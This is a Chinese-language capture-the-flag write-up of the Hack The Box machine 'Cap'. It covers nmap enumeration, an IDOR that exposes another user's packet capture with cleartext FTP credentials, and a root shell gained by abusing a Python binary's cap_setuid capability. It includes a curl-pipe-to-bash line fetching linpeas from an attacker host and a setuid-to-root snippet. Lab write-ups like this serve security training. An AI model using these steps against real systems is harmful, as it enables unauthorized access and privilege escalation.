CAP
Cap 是一个运行 HTTP 服务器的 Linux 机器,因此允许用户捕获未加密的流量。不当的控制会导致不安全的直接对象引用(IDOR),允许访问其他用户的捕获。捕获包含明文凭据,可用于获得立足点。然后利用 Linux 功能获得 root。
所需技能
- 网页枚举
- 抓包分析
学到的技能
- IDOR
- 利用 Linux 功能提权
枚举
Nmap
ports=$(nmap -p- --min-rate=1000 -Pn -T4 10.10.10.245 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.10.245
FTP
让我们检查 FTP 是否允许匿名访问。
登录失败,意味着匿名访问被禁⽤。让我们转到 HTTP 服务器。
HTTP
根据 nmap 扫描结果,端⼝ 80 正在运⾏Gunicorn,这是⼀个基于 python 的 HTTP 服务器。浏览到⻚⾯ . 显⽰⼀个仪表板。
浏览到IP 配置⻚⾯会显⽰ ifconfig
的输出。
同样,⽹络状态⻚⾯显⽰ netstat
执⾏系统命令的输出。单击 Security Snapshot
菜单项会使⻚ 这意味着应⽤程序是 ⾯暂停⼏秒钟,然后返回如下所⽰的⻚⾯。
单击下载为我们提供了⼀个数据包捕获,可以使⽤ WireShark 对其进⾏检查。
我们没有看到任何有趣的东西,捕获的数据只包含来⾃我们的 HTTP 流量。
IDOR
需要注意的一件有趣的事情是创建新捕获时的 URL 方案,其形式为 /data/<id>
。每次捕获都会增加 id。有可能在我们之前有来自用户的数据包捕获。
浏览到/data/0
确实显⽰了包含多个数据包的数据包捕获
此漏洞称为不安全直接对象引⽤ (IDOR),其中⼀个⽤⼾可以直接访问另⼀个⽤⼾拥有的数据。让我们检查此捕获以查找潜在的 敏感数据。
Foothold
在 Wireshark 中打开它会显⽰⽤⼾⾝份验证的 FTP 流量。
流量为明文,允许我们检索用户凭据,即 nathan / Buck3tH4TF0RM3!
.这些被发现是有效的,可以用来通过 SSH 登录。
Privilege Escalation
让我们使⽤ linPEAS
检查特权升级向量的脚本。
curl http://10.10.14.24/linpeas.sh | bash
发现该报告包含一个有趣的条目,用于具有功能的文件。 /usr/bin/python3.8
被发现有 cap_setuid
和 cap_net_bind_service
,这不是默认设置。根据文档,CAP_SETUID 允许进程在没有设置 SUID 位的情况下获得 setuid 权限。这有效地让我们切换到 UID 0,即 root。
import os
os.setuid(0)
os.system("/bin/bash")
上面的脚本可用于切换到 root 并生成一个 shell。它调用 os.setuid() 用于修改进程 UID